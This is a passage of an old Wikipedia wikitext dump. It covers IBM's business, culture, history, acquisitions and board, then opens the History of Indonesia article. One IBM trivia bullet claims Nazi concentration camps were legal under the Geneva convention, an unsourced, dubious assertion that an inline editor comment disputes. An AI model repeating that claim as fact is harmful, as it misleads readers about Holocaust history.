  key_people     = [[Samuel J. Palmisano|Sam Palmisano]], Chairman &amp; CEO&lt;br /&gt;[[Dan Fortin]], President (Canada)&lt;br /&gt;[[Frank Kern]], President (Asia Pacific)&lt;br /&gt;[[Nick Donofrio]], EVP (Innovation &amp; Technology)&lt;br /&gt;[[Colleen Arnold]], President IOT EMEA North-East&lt;br /&gt;[[Dominique Cerutti]], President IOT EMEA South-West &lt;br /&gt; [[Mark Loughridge]] SVP &amp; CFO | 
  num_employees  = 329,373 (2005) |
  revenue        = {{loss}} $91.1 billion [[United States dollar|USD]] ([[Fiscal year|2005]]) |
  operating_income = $13.7 billion USD (2005) |
  net_income       = $7.9 billion USD (2005) |
  industry       = [[Computer hardware]], [[IT Services]], [[Consulting]] |
  products       = [[List of IBM products|See complete products listing.]] |
  homepage       = [http://www.ibm.com/ www.ibm.com] |
  footnotes =
}}
'''International Business Machines Corporation''' ('''IBM''', or colloquially, '''Big Blue''') {{nyse|IBM}} (incorporated [[June 15]], [[1911]], in operation since [[1888]]) is headquartered  in [[Armonk, New York|Armonk, NY]], [[United States|USA]].  The company manufactures and sells [[computer hardware]], [[software]], infrastructure services and [[consulting|consulting services]].

With almost 330,000 employees worldwide and revenues of $91 billion annually (figures from 2005), IBM is the largest [[information technology]] company in the world, and one of the few with a continuous history dating back to the [[19th century]]. It has engineers and consultants in over 170 countries and development laboratories located all over the world, in all segments of [[computer science]] and information technology; some of them are pioneers in areas ranging from [[mainframe computer]]s to [[nanotechnology]].  

In recent years, services and consulting revenues have been larger than those from manufacturing.  [[Samuel J. Palmisano]] was elected [[Chief executive officer|CEO]] on [[January 29]], [[2002]] after having led IBM's Global Services, and helping it to become a business with a $100 billion in backlog in 2004 [http://www.ibm.com/ibm/sjp/bio.shtml].

In 2002 the company strengthened its business advisory capabilities by acquiring the consulting arm of professional services firm [[PricewaterhouseCoopers]]. The consulting arm was previously known as Monday. The company is increasingly focused on business solution driven consulting, services and software, with emphasis also on high value chips and hardware technologies; [[as of 2005]] it employs about 195,000 technical professionals.  That total includes about 350 Distinguished Engineers and 60 [[IBM Fellow]]s, its most senior engineers.  [[IBM Research]] has eight laboratories, all located in the [[Northern Hemisphere]], with five of those locations outside of the United States.  IBM employees have won five [[Nobel Prize]]s.  In the USA, they have earned four [[Turing Award]]s, five [[National Medal of Technology|National Medals of Technology]], and five [[National Medal of Science|National Medals of Science]], and outside the USA, many equivalents&lt;!-- lots more --&gt;.

== Current business activities ==
In 2002, IBM announced the beginning of a $10 billion program to research and implement the infrastructure technology necessary to be able to provide [[supercomputer]]-level resources &quot;on demand&quot; to all businesses as a metered utility. This program will be implemented over the coming years.

In recent years IBM has steadily increased its patent portfolio, which is valuable for [[cross-licensing]] with other companies.  In every year from [[1993]] until [[2005]], IBM has been granted significantly more U.S. patents than any other company. That thirteen-year period has resulted in over 31,000 patents for which IBM is the primary assignee.
[http://www.ibm.com/news/us/en/2006/01/2006_01_10.html]

{| align=right
|[[Image:Ibm revenue profit 1980to2003.gif|thumb|233px|IBM revenue and net earnings, 1980 to 2003]]
|-
|
{| border=0 cellspacing=0 cellpadding=4
| rowspan=&quot;14&quot; colspan=&quot;1&quot; | (click on the&lt;br&gt;year to go to&lt;br&gt;IBM's page of&lt;br&gt; 
accomplishments&lt;br&gt;for that year)
! Year
! align=&quot;center&quot; | Patents&lt;br&gt; 
Granted
|- 
| 2005
| align=&quot;center&quot; | 2941
|- 
| [http://www.ibm.com/ibm/history/history/year_2004.html 2004]
| align=&quot;center&quot; | 3248
|- 
| [http://www.ibm.com/ibm/history/history/year_2003.html 2003]
| align=&quot;center&quot; | 3415
|- 
| [http://www.ibm.com/ibm/history/history/year_2002.html 2002]
| align=&quot;center&quot; | 3288
|- 
| [http://www.ibm.com/ibm/history/history/year_2001.html 2001]
| align=&quot;center&quot; | 3411
|- 
| [http://www.ibm.com/ibm/history/history/year_2000.html 2000]
| align=&quot;center&quot; | 2886
|- 
| [http://www.ibm.com/ibm/history/history/year_1999.html 1999]
| align=&quot;center&quot; | 2756
|- 
| [http://www.ibm.com/ibm/history/history/year_1998.html 1998]
| align=&quot;center&quot; | 2658
|- 
| [http://www.ibm.com/ibm/history/history/year_1997.html 1997]
| align=&quot;center&quot; | 1724
|- 
| [http://www.ibm.com/ibm/history/history/year_1996.html 1996]
| align=&quot;center&quot; | 1867
|- 
| [http://www.ibm.com/ibm/history/history/year_1995.html 1995]
| align=&quot;center&quot; | 1383
|- 
| [http://www.ibm.com/ibm/history/history/year_1994.html 1994]
| align=&quot;center&quot; | 1298
|- 
| [http://www.ibm.com/ibm/history/history/year_1993.html 1993]
| align=&quot;center&quot; | 1087
|}
|}

Protection of the company's intellectual property has grown into a business in its own right, generating over $10 billion dollars [http://www.industryweek.com/CurrentArticles/asp/articles.asp?ArticleID=1400] to the bottom line for the company during this period. [http://www.forbes.com/2003/08/07/cx_ld_0807ibm_print.html], [http://web.archive.org/web/*/http://www.inc.com/articles/legal/ip/patents/23293.html] 
&lt;!-- Other references if needed
[http://www.crn.com/sections/special/hof/hof01.asp?ArticleID=31278],
[http://www.industryweek.com/CurrentArticles/asp/articles.asp?ArticleID=1400],
[http://www.forbes.com/asap/2002/0624/044_print.html]
--&gt;

A 2003 Forbes article quotes the head of IBM Research, who suggested a $1 billion in profit just for the research staff; however, they probably generate the bulk of new inventions in the company. 
&lt;!--
2001 Inc. article quotes royalties of 1.6 billion in 2000.
--&gt;

In 2005, IBM sold its PC division to China-based [[Lenovo]]. As part of the agreement, Lenovo moved its headquarters to [[New York State]]. IBM owns a significant stake (about 19%) in Lenovo. Starting from the date of the acquisition, Lenovo is permitted five years' use of the IBM and [[Thinkpad]] trademarks.

==Culture==
IBM has often been described as having a sales-centric or a sales-oriented business culture.  Traditionally, many of its executives and general managers would be chosen from its sales force.  In addition, middle and top management would often be enlisted to give direct support to salesmen in the process of making sales to important customers.  

For most of the [[20th century]], a blue suit, white shirt and dark tie was the public uniform of IBM employees.  But by the 1990s, IBM relaxed these codes; the dress and behavior of its employees does not differ appreciably from that of their counterparts in large technology companies.

In 2003, IBM embarked on an ambitious project to rewrite company values using its &quot;Jam&quot; technology -- Intranet-based online discussions on key business issues for a limited time, involving more than 50,000 employees over 3 days in this case. Jam technology includes sophisticated text analysis software (eClassifier) to mine online comments for themes, and Jams have now been used six times internally at IBM.  As a result of the 2003 Jam, the company values were updated to reflect three modern business, marketplace and employee views: &quot;Dedication to every client's success&quot;, &quot;Innovation that matters - for our company and for the world&quot;, &quot;Trust and personal responsibility in all relationships&quot;.

In 2004, another Jam was conducted in which more than 52,000 employees exchanged best practices for 72 hours. This event was focused on finding actionable ideas to support implementation of the values identified previously.  A new post-Jam Ratings event was developed to allow IBMers to select key ideas that support the values. (For further information, see Harvard Business Review, December 2004, interview with IBM Chairman Sam Palmisano.)

IBM's culture has been recently influenced by the [[open source movement]].  The company invests billions of dollars in services and software based on [[Linux]]. This includes over 300 [[Linux kernel]] developers. IBM's open source involvement has not been trouble-free, however; see [[SCO v. IBM]].

===Diversity and workforce issues===
IBM's efforts to promote workforce diversity and equal opportunity date back at least to [[World War I]], when the company hired disabled veterans. IBM is the only technology company ranked in [http://www.workingwoman.com/top10.html Working Mother Magazine's Top 10] for 2004.

The company has traditionally resisted [[labor union]] organizing, although unions represent some IBM workers outside the United States. [http://www.allianceibm.org Alliance@IBM], part of the [[Communications Workers of America]], is trying to organize IBM in the U.S.

In the 1990s, two major [[pension]] program changes, including a conversion to a cash balance plan, resulted in an employee [[class action]] lawsuit alleging [[age discrimination]]. IBM employees won the lawsuit and arrived at a partial settlement, although appeals are still underway.

Historically IBM has had a good reputation of long-term staff retention with few large scale layoffs. In more recent years there have been a number of broad sweeping cuts to the workforce as IBM attempts to adapt to changing market conditions and a declining profit base. After posting weaker than expected revenues in the first quarter of 2005, IBM eliminated 14,500 positions from its workforce, predominantly in Europe.  On [[June 8]], [[2005]], IBM Canada Ltd. eliminated approximately 700 positions.  There has also been a steadily increasing movement of labour to cheap offshore countries such as the [[Philippines]], [[India]] and [[China]].

On [[October 10]], [[2005]], IBM became the first major company in the world to formally commit to not using genetic information in its employment decisions.  This came just a few months after IBM announced its support of the [[National Geographic]]'s [[The Genographic Project|Genographic Project]].

== History ==
=== Early years ===
[[Image:IBM_original_logo.jpg|200px|right|Original Logo]]
IBM's history dates back decades before the development of electronic computers &amp;ndash; before that it developed [[Punch card|punched card]] data processing equipment. It originated as the Computing Tabulating Recording (CTR) Corporation, which was incorporated on [[June 15]], [[1911]] in [[Binghamton, New York]].  This company was a merger of the Tabulating Machine Corporation, the Computing Scale Corporation and the International Time Recording Company.  The president of the Tabulating Machine Corporation at that time was [[Herman Hollerith]], who had founded the company in [[1896]]. [[Thomas J. Watson|Thomas J. Watson Sr.]], the founder of IBM, became General Manager of CTR in 1914 and President in 1915. In [[1917]], the Computing-Tabulating-Recording Company entered the [[Canada|Canadian]] market under the name of International Business Machines Co., Limited. On [[February 14]], [[1924]], CTR changed its name to '''International Business Machines Corporation'''. 

The companies that merged to form CTR manufactured a wide range of products, including employee time keeping systems, [[weighing scale]]s, automatic meat slicers, and most importantly for the development of the computer, [[History of computing hardware|punched card equipment]]. Over time CTR came to focus purely on the punched card business, and ceased its involvement in the other activities.

===World War II===
During [[World War II]], IBM's German subsidiary [[Dehomag]] (from &quot;'''De'''utsche '''Ho'''llerith '''Ma'''schinen '''G'''esellschaft&quot;, that is &quot;German Hollerith Machine Company Ltd.&quot;) provided the Nazi regime with punch card machines. Dehomag was taken over by the Nazis in December [[1941]]. In [[2001]] author [[Edwin Black]] published a book titled [http://www.ibmandtheholocaust.com/ IBM and the Holocaust], which alleged that [[Thomas J. Watson]] knew of the German regime's activities and was indifferent to any moral issues. The conclusions of Black's book [http://www.businessweek.com/magazine/content/01_12/b3724036.htm have been questioned], including its claim that [[the Holocaust]] would have been impossible on the scale it reached, without Dehomag's data processing systems. The author {{dlw-inline|url=http://www.businessweek.com/magazine/content/01_14/c3726027.htm#B3726028|title=has responded to these claims}}. As of [[As of 2004|2004]] IBM's possible complicity in the Holocaust is the subject of [http://www.cnn.com/2004/LAW/07/08/ramasastry.holocaust.ibm/ at least one unresolved lawsuit]. IBM has donated more than 10,000 pages of archived documents concerning Dehomag to [[Hohenheim University]] in [[Germany]] and [[New York University]]. The topic is explored in the [[2003]] [[documentary film]] ''[[The Corporation]]''.

IBM contributed to the Allied war effort by manufacturing the [[Browning Automatic Rifle]] and the [[M1 Carbine]].

===Airforce and airline projects===
In the [[1950s]], IBM became a chief contractor for developing computers for the [[United States Air Force]]'s automated defense systems. Working on the [[Semi Automatic Ground Environment|SAGE]] anti-aircraft system, IBM gained access to crucial research being done at [[Massachusetts Institute of Technology|MIT]], working on the first real-time, digital computer (which included many other advancements such as an integrated [[video display]], [[magnetic core memory]], [[light gun]]s, the first effective algebraic computer language, analog-to-digital and digital-to-analog conversion techniques, [[modem|digital data transmission over telephone lines]], [[duplexing]], [[multiprocessing]], and [[computer network|networks]]). IBM built fifty-six SAGE computers at the price of $30 million each, and at the peak of the project devoted more than 7,000 employees (20% of its then workforce) to the project. More valuable to the company in the long run than the profits, however, was the access to cutting-edge research into digital computers being done under military auspices. IBM neglected, however, to gain an even more dominant role in the nascent industry by allowing the [[RAND|RAND Corporation]] to take over the job of programming the new computers, because, according to one project participant (Robert P. Crago), &quot;we couldn't imagine where we could absorb two thousand programmers at IBM when this job would be over someday.&quot; IBM would use its experience designing massive, integrated real-time networks with SAGE to design its [[SABRE reservation system|SABRE]] airline reservation system, which met with much success.

===Successes of the 1960s===
IBM was the largest of the eight major [[computer]] companies (with [[UNIVAC]], [[Burroughs]], [[Scientific Data Systems]], [[Control Data Corporation]], [[General Electric]], [[RCA]] and [[Honeywell]]) through most of the [[1960s]]. People in this business would talk of &quot;IBM and the seven dwarfs&quot;, given the much smaller size of the other companies or of their computer divisions.  When only Burroughs, Univac, [[NCR Corporation|NCR]] and Honeywell produced mainframes, a bit later, people talked of &quot;IBM and the B.U.N.C.H.&quot;. Most of those companies are now long gone as IBM competitors, except for [[Unisys]], which is the result of multiple mergers that included UNIVAC and Burroughs. NCR and Honeywell dropped out of the general mainframe and mini sector and concentrated on lucrative niche markets. General Electric remains one of the world's largest companies, but no longer operates in the computer market.  The IBM computer range that earned it its position in the market at that time is still growing today. It was originally known as the IBM [[System/360]] and, in far more modern 64-bit form, is now known as the IBM [[zSeries]] (often referred to as &quot;IBM mainframes&quot;). 

IBM's success in the mid-1960s led to inquiries as to IBM antitrust violations by the [[U.S. Department of Justice]], which filed a complaint for the case U.S. v. IBM in the [[United States District Court for the Southern District of New York]], on [[January 17]], [[1969]]. The suit alleged that IBM violated the Section 2 of the [[Sherman Act]] by monopolizing or attempting to monopolize the general purpose electronic digital computer system market, specifically computers designed primarily for business. Litigation continued until [[1983]], and had a significant impact on the company's practices.

===Recent history===
On [[January 19]], [[1993]] IBM announced a USD4.97 billion loss for [[1992]], which was at that time the largest single-year corporate loss in [[United States]] history. Since that loss, IBM has made major changes in its business activities, shifting its focus significantly away from components and hardware and towards software and services.

In [[2004]], IBM announced the proposed sale of its PC business to Chinese computer maker [[Lenovo]], which is partially owned by the Chinese government, for USD650 million in cash and USD600 million in Lenovo stock. The deal was approved by the [[Committee on Foreign Investment in the United States]] in March 2005, and completed in May 2005. IBM will have a 19% stake in Lenovo, which will move its headquarters to New York State and appoint an IBM executive as its chief executive officer. The company will retain the right to use certain IBM brand names for an initial period of five years.

== Facts and trivia ==
[[Image:IbmTokyoRed.jpg|thumb|182px|right|''IBM logo in [[Tokyo]].'']]
*The IBM Logo was designed by [[Paul Rand]].
*[[IBM_Software_Group|IBM's Software Group]], if it were a separate entity, would be the second largest software company in the world, behind only [[Microsoft]] in total revenue. Software Group groups its products into five brands: [[DB2]] (information management), [[Rational Software|Rational]] (software development lifecycle), [[Lotus Software|Lotus]] (collaboration), [[Tivoli_Framework|Tivoli]] (systems management and security) and [[WebSphere]] (application as well as data integration and middleware).
*IBM invented many of the core technologies used in all forms of computing, including the first [[hard disk]] drive and the Winchester hard disk drive, the [[cursor (computers)|cursor]] (on [[computer screen]]s), Dynamic [[Random Access Memory|RAM]] (DRAM), the [[relational database]], [[disk read-and-write head|Thin Film recording heads]], [[RISC]] architecture, and the [[floppy disk]]. The infamous [[Control-Alt-Delete]] keystroke ([[David Bradley (engineer)|David Bradley]], 2001: &quot;I invented it, but it was Bill [Gates] that made it famous&quot;), also invented at IBM, is still frequently used on PCs running the [[Microsoft Windows]] operating systems.
*The first black employee was hired in [[1899]] by the Computing Scale Corporation (as it was known at the time).
*IBM began hiring women to work as professional systems service staff in [[1935]]. Thomas J. Watson Sr. wrote: &quot;Men and women will do the same kind of work for equal pay. They will have the same treatment, the same responsibilities and the same opportunities for advancement.&quot;
*From [[1933]] to [[1944]], IBM punch card machines were installed at various [[Nazi Germany|German]] [[concentration camps]]. It has been alleged by a journalist that IBM president Thomas J. Watson, Sr. was aware of their use. Note however that ''concentration'' camps are a perfectly legal war disposition regulated by the [[Geneva convention]]. The problem lies with ''extermination'' camps, about which there were already a lot of war rumours, but nothing that could be confirmed or inferred formally before their discovery by allies in 1945.  &lt;!-- given that few Germans knew of it, this seems unlikely! --&gt; [http://ibmandtheholocaust.com/]
*From [[1942]] to [[1944]] IBM was one of nine companies contracted by the U.S. Government to produce [[M1 Carbine]] rifles; these are now sought-after antiques.
*IBM also made clocks until they sold their time division in 1958.
*In [[1944]], IBM was the first corporation to support the [[United Negro College Fund]].
*In [[1953]], IBM published the first U.S. corporate mandate on equal employment opportunity, stating that the company would hire people based on their ability, &quot;regardless of [[race]], color or creed&quot;. [[Sexual orientation]] was added to the nondiscrimination policy in [[1984]].  [[Genetic makeup]] was added in 2005.
*IBM invented the [[USB flash drive]] in [[1998]] but did not [[patent]] it.
*Whilst IBM did not invent the [[personal computer]], architectures cloned from its design for the IBM PC (which relied on third-party componentry) became the industry standard, and are now often simply called the ''PC''. The IBM PC was introduced on [[August 12]] [[1981]]; [[Microsoft]] and [[Intel]] became monopoly suppliers of two of the key components of PC-compatible systems. IBM sold its PC division to [[Lenovo]] in December 2004 and, when the sale is complete, will come out of the business of manufacturing / designing / selling PCs, the business which it created in 1981.
*The IBM [[AS/400|iSeries minicomputer]] (in its 24-year history also variously known as System i5/OS, AS/400 and System/38) is the world's largest-selling computer family, if PC-type machines are excluded. It was the first successful 64-bit machine. It has been calculated that, if the [[IBM Rochester|Rochester, Minnesota facility]] that produces the machine were independent, it would be the third largest computer company in the world.
* In [[2004]], for the twelfth consecutive year, IBM was awarded the greatest number of patents by the [[United States Patent and Trademark Office|USPTO]].  IBM received 3,248 patents that year. (Reference: [http://www.uspto.gov/web/offices/com/speeches/05-03.htm USPTO Releases Annual List of Top 10 Organizations Receiving Most U.S. Patents])
* If you step backward one letter in the alphabet for each letter of &quot;IBM&quot; you will arrive at &quot;HAL&quot;.  Some think that this bears a striking similarity to the name of the fictional computer &quot;HAL&quot; featured in the Arthur C Clarke book and film &quot;2001, A Space Odyssey&quot;.
* The &quot;[[ThinkPad]]&quot; name for its notebook computers was brought up after an IBM researcher went to a coffee break and took a notepad out which had the word &quot;THINK&quot; on it. Subsequently they conceived the idea of a small, portable tool which was able to read, write, work and think, which eventually turned out to be their first &quot;ThinkPad&quot; notebook computer back in 1992.

== Acquisitions ==
* [[1889]] Bundy Manufacturing Company incorporated.
* [[1891]] Computing Scale Company incorporated.
* [[1893]] Dey Patents Company (Dey Time Registers) incorporated.
* [[1894]] Willard &amp; Frick Manufacturing Company ([[Rochester, New York]]) incorporated.
* [[1896]] Detroit Automatic Scale Company incorporated.
* [[1896]] Tabulating Machine Company incorporated.
* [[1899]] Standard Time Stamp Company acquired by Bundy Manufacturing Company.
* [[1900]] Willard &amp; Frick Manufacturing Company (Rochester) acquired by [[International Time Recording Company]].
* [[1901]] Chicago Time-Register Company acquired by International Time Recording Company.
* [[1901]] Dayton Moneyweight Scale Company acquired by Computing Scale Company.
* [[1901]] Detroit Automatic Scale Company acquired by Computing Scale Company.
* [[1902]] Bundy Manufacturing Company acquired by International Time Recording Company.
* [[1907]] Dey Time Registers acquired by International Time Recording Company.
* [[1908]] Syracuse Time Recording Company acquired by International Time Recording Company.
* [[1911]] Computing Scale Company acquired by [[Computing-Tabulating-Recording Company]] (C-T-R).
* [[1911]] International Time Recording Company acquired by Computing-Time-Recording Company (C-T-R).
* [[1911]] Tabulating Machine Company acquired by Computing-Tabulating-Recording Company (C-T-R).
* [[1917]] American Automatic Scale Company acquired by Computing-Tabulating-Recording Company (C-T-R) as International Scale Company.
* [[1917]] C-T-R opens in Canada as International Business Machines Company Limited.
* [[1921]] Pierce Accounting Machine Company (asset purchase).
* [[1921]] Ticketograph Company (of Chicago).
* [[1924]] C-T-R renamed International Business Machines Corporation.
* [[1930]] Automatic Accounting Scale Company.
* [[1932]] National Counting Scale Company.
* [[1933]] Electromatic Typewriters Inc. (See: [[IBM Electromatic typewriter]])
* [[1941]] Munitions Manufacturing Corporation.
* August, [[1959]] Pierce Wire Recorder Corporation.
* [[1984]] ROLM.
* [[1986]] RealCom Communications Corporation.
* [[1995]] [[Lotus Development Corporation]] for $3.5 billion.
* [[1996]] [[Tivoli Systems]] for $743 million.
* [[1997]] [[Software Artistry]] for $200 million.
* [[1997]] [[Unison Software]].
* [[1998]] CommQuest Technologies.
* [[1999]] [[Mylex Corporation]].
* [[1999]] [[Sequent Computer Systems]] for $810 million.
* [[2001]] [[Informix]] Software (a purchase of assets rather than a true acquisition) for $1.0 billion.
* [[2001]] Mainspring Inc. for $80 million.
* January, [[2002]] Crossworlds.
* [[2002]] [[PricewaterhouseCoopers]]' Consulting for $3.5 billion (recalculated by IBM in August 2003 as $3.9 billion).
*2003
** March, [[Rational Software]] Corporation for $2.1 billion.
** July, [[Presence Online, Aptrix]].
** October, CrossAccess.
*2004
** [[A.P. Moller-Maersk Group|Maersk]] Data &amp; DMData.
** March, Logicalis Australia (renamed to [http://www.cerulean.com.au Cerulean Solutions] in April 2005) and Logical CSI New Zealand.
** April, [[Candle Corporation|Candle Corp.]], [[Daksh eServices]] in India.
** July, [[Alphablox]].
** July, Cyanea Systems.
** August, Venetica.
** October, Systemcorp.
* 2005
** February, Corio [[crio]] for $211 million.
** April, [[Ascential Software]] for approximately $1.1 billion in cash.
** May, [[Gluecode]].
** July, [[PureEdge]].
** August, [[DWL]].
** October, [[DataPower]].
** December, [[Bowstreet]].
** December, [[Micromuse]] for $865 million.
* 2006
** January, [[Classic Blue]].

== Spinoffs ==   
* [[1934]] Dayton Scale Division is sold to the [[Hobart Manufacturing Company]].
* [[1942]] Ticketograph Division is sold to the [[National Postal Meter Company]].  
* [[1958]] Time Equipment Division is sold to the [[SimplexGrinnell|Simplex Time Recorder Company]].
* [[Taligent]], a joint software venture with [[Apple Computer]].
* [[Prodigy (ISP)|Prodigy]], formerly a joint venture with [[Sears]].
* [http://www.attbusiness.net AT&amp;T Business Internet], formerly IBM Global Network, formerly Advantis (joint venture with [[Sears]]).
* ARDIS mobile packet network, a joint venture with [[Motorola]]. Now [http://www.motient.com Motient].
* [[1991]] [[Lexmark]] (keyboards, typewriters, and printers). IBM Retained a 10% interest. Lexmark has sold its keyboard and typewriter businesses. [http://www.printers.ibm.com IBM Printing Systems] now competes with Lexmark.
* [[1996]] [http://www.celestica.com/ Celestica] Electronic Manufacturing Services (EMS).
* [[2003]] [http://www.hitachigst.com Hitachi Global Storage Technologies] now provides many of the hardware storage devices formerly provided by IBM, including [[IBM Harddrives]] &amp; The [[Hitachi Microdrive|Microdrive]].  IBM continues to develop [http://ibm.com/storage storage systems], including [[Tape Drive|Tape Backup]], [[Storage software]], [[Enterprise storage]], etc.
* [[December]], [[2004]] [[Lenovo]] acquires 90% interest in [[IBM Personal Systems Group]], 10,000 employees and $9 billion in revenue.

== Projects ==
=== BlueEyes ===
'''BlueEyes''' is the name of a human recognition venture initiated by IBM to allow people to interact with [[computer]]s in a more natural manner. The technology aims to enable devices to recognize and use natural input, such as facial expressions. The initial developments of this project include scroll [[computer mouse|mice]] and other input devices that sense the user's [[pulse]], monitor his or her facial expressions, and the movement of his or her eyelids.

=== alphaWorks ===
Free software available at [http://alphaWorks.ibm.com/ alphaWorks] (IBM's showcase for emerging software technology): 
#'''Flexible Internet Evaluation Report Architecture:''' A highly flexible architecture for the design, display, and reporting of Internet surveys.
#'''History Flow Visualization Application:''' A tool for visualizing dynamic, evolving documents and the interactions of multiple collaborating authors. Examples from Wikipedia. [http://www.alphaworks.ibm.com/screenshots/16E98A61CB7178D488256FC70075E6CD/$FILE/historyflow01.jpg] [http://www.alphaworks.ibm.com/screenshots/4985F7ED629EE82D88256FC700764E11/$FILE/historyflow03.jpg]
#'''IBM Performance Simulator for Linux on POWER:''' A tool that provides users of Linux on Power a set of performance models for IBM's POWER processors.
#'''Database File Archive And Restoration Management:''' An application for archiving and restoring hard disk files whose file references are stored in a database.
#'''Policy Management for Autonomic Computing:''' A policy-based autonomic management infrastructure that simplifies the automation of IT and business processes. (This is an ETTK technology.)
#'''FairUCE:''' A spam filter that stops spam by verifying sender identity instead of filtering content.
#'''Unstructured Information Management Architecture (UIMA) SDK:''' A Java SDK that supports the implementation, composition, and deployment of applications working with unstructured information. [http://www.alphaworks.ibm.com/tech/uima]

=== Gaming chips ===
IBM has also been developing processing chips for gaming consoles. The new [[Xbox 360]] contains IBM's new tri-core chipset, which at the request of [[Microsoft]] IBM was able to design and ramp up to production volumes in less than 24 months (albeit using contract manufacturing). Meanwhile, [[Sony]]'s [[PlayStation 3]] will feature the Cell, a new chip designed by IBM, [[Toshiba]] and Sony in a joint venture. (Toshiba plans to use it on HD TVs). It has been reported that the [[Nintendo Revolution]] will also feature an IBM chip, like the Revolution's predecessor, Nintendo Gamecube.

==Corporate governance==
Current members of the [[board of directors]] of IBM are: [[Soudeh Jahankhani]],  [[Cathleen Black]], [[Ken Chenault]], [[Juergen Dormann]], [[Michael Eskew]], [[Shirley Ann Jackson]], [[Charles F. Knight]], [[Minoru Makihara]], [[Lucio Noto]], [[James W. Owens]] (effective 1 March 2006), [[Samuel J. Palmisano]], [[Joan Spero]], [[Sina Jahankhani]],  [[Sidney Taurel]], [[Charles Vest]], and [[Lorenzo Zambrano]].

==See also==
*[[List of IBM products]]
*[[Louis V. Gerstner, Jr.]]
*[[computer]]
*[[IBM clone]]
*[[Lenovo Group]]
*[[AMIPP]]

==References==
*Gerstner, Jr., Louis V. (2002). ''Who Says Elephants Can't Dance?'' HarperCollins. ISBN 0-00-715448-8.

==External links==
{{commons|International Business Machines}}
* [http://www.ibm.com/ IBM home page]
* [http://www.ibm.com/news/ IBM News]
* [http://www.ibm.com/ibm/syndication/ IBM Syndicated Information]
* [http://www.ibm.com/ondemand/ IBM On Demand Business home page]
* [http://www.ibm.com/servers/ IBM eServer].
* [http://www.ibm.com/ibm/history/ History and Archives]
* [http://barry_froggatt.users.btopenworld.com/songbook.html  The IBM Songbook]; [http://anthems.zdnet.co.uk/anthems/ibm.swf ''Ever Onward''] (needs Flash)
* [http://www.ibm.com/research/ IBM Research]
* [http://www.ibm.com/research/cambridge/ IBM Research in Cambridge, Massachusetts]
* [http://www.ibm.com/research/history/ IBM Research specific to Wikipedia.org]
* [http://www.zurich.ibm.com IBM Research in Zurich]
* [http://www.hagley.lib.de.us/1980.htm IBM Antitrust Suit Records 1950-1982]
* [http://tuxmobil.org/ibm.html Linux on IBM laptops]
* [http://www.google.com/search?q=ibmjarg IBM Jargon Dictionary]
* [http://www.ibm.com/ibm/sjp/ Current CEO - Samuel J Palmisano]
* [http://www.almaden.ibm.com/cs/BlueEyes/index.html BlueEyes Project Description]
* [http://www.computercraft.com/docs/ibm.html IBM Compatibles]
* [http://www.ibm.com/developerworks/ developerWorks - IBM's resource for software developers]
* [http://www.ibm.com/developerworks/blogs/index.jspa developerWorks blogging community]
* [http://www.ibm.com/alphaworks alphaWorks - IBM's showcase for emerging technology]
* [http://www.power.org power.org]

&lt;!-- interwiki --&gt;

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      <text xml:space="preserve">{{History of Indonesia}}The nation-state known in modern times as [[Indonesia]] encompasses an [[archipelago]] of 17,508 islands (6,000 inhabited) stretching along the Equator. The area is populated by peoples of various migrations, creating a diversity of cultures, ethnicities, and languages. These diverse peoples were influenced in varying degrees by trade and contact with the civilizations of the [[Middle East]], [[South Asia]], and [[East Asia]], before colonists from the [[Netherlands]] finally consolidated most of the archipelago into a single administrative unit, under the [[Dutch East India Company]].

The outbreak of [[World War II]] saw Indonesia put in the middle of warfare between the Dutch and [[Imperial Japan]]. The defeat of the Dutch saw them driven out and replaced with Japanese occupation forces, but the weakening of these two world powers provided an opening for Indonesian Nationalists, led by [[Sukarno]], and other independence movements to launch an armed conflict. After a brief time, during which the Dutch sought to re-colonize the country, the Indonesian Nationalists won recognition for the newly formed Republic of Indonesia. In doing so, it became among the first [[Third World]] nations to gain its independence.

After gaining independence, the Republic of Indonesia has largely been ruled from a strong central government in [[Jakarta]]. After Indonesia's founding President Sukarno was weakened by prolonged warfare with [[Malaysia]] and its allies in the ''[[Indonesia-Malaysia confrontation|Konfrontasi]]'', and by internal conflict between the Indonesian Army and the Communist Party of Indonesia, the general [[Suharto]] took power in [[1966]]. The period of his rule, known as the era of the New Order, would last 32 years and would make Indonesia a rapidly industrializing nation, though not without the problems of extensive corruption and popular discontent. After a wave of protests demanding democracy, Suharto stepped down, beginning the present period of Indonesian history, known as the Reformation era. 

==Prehistory==
[[Image:Floresiensis.jpg|thumb|The skull of ''H. floresiensis''.]]
Geologically the area of modern [[Indonesia]] appeared sometime around the [[Pleistocene]] period when it was still linked with the [[Asia]]n mainland. The archipelago formed during the thaw after the latest [[ice age]]. The area's first known humanlike inhabitant some 500,000 years ago was &quot;[[Java Man]]&quot; (first classified as ''[[Pithecanthropus erectus]]'', then subsequently named a part of the species ''[[Homo erectus]]''). Recently discovered was a species of human, dubbed &quot;[[Flores Man]]&quot; (''[[Homo floresiensis]]''), a miniature hominoid that grew only three feet tall. Flores Man seems to have shared some islands with Java Man until only 10,000 years ago, when they became extinct.

==Early settlement==
Indian scholars wrote about the [[Dvipantara]] or [[Jawa Dwipa]] [[Hindu]] kingdom in [[Java (island)|Java]] and [[Sumatra]] around [[200 BC]]. The [[Taruma]] kingdom occupied West Jawa around [[400s|400]]. In [[425]] [[Buddhism]] reached the area.

==Pre-colonial civilizations==
By the time of the [[Europe]]an [[Renaissance]], the two largest islands in what is now Indonesia, [[Java (island)|Java]] and [[Sumatra]] had already seen over a millennia of civilization and two major empires. 

===Kingdom of Mataram===
''For full coverage, see [[Kingdom of Mataram]]''

'''Mataram''' was an [[Indianized kingdom]] based in Central Java (the area surrounding modern-day [[Yogjakarta]]) between the 8th and 10th centuries CE.  The centre of the kingdom was moved from Central Java to East Java by [[Mpu Sindok]]. The move may have been caused by an eruption of the volcano [[Mount Merapi, Central Java|Mount Merapi]], or a power struggle.

The first king of Mataram was [[Sanjaya]], who  drove the [[Sailendra]]s from Java and left inscriptions in stone. The monumental [[Hindu]] temple of [[Prambanan]] in the vicinity of [[Yogyakarta]] was built by [[Daksa]]. [[Dharmawangsa]] ordered the translation of the [[Mahabharata]] into [[Old Javanese]] in [[996]]. 

The kingdom collapsed into chaos at the end of Dharmawangsa's reign under military pressure from [[Srivijaya]]. [[Airlangga]], a son of [[Udayana]] of [[Bali]] and a relative of Dharmawangsa re-established the kingdom (including Bali) under the name of [[Kahuripan]].

===Srivijaya Empire===
''For full coverage see [[Srivijaya]]

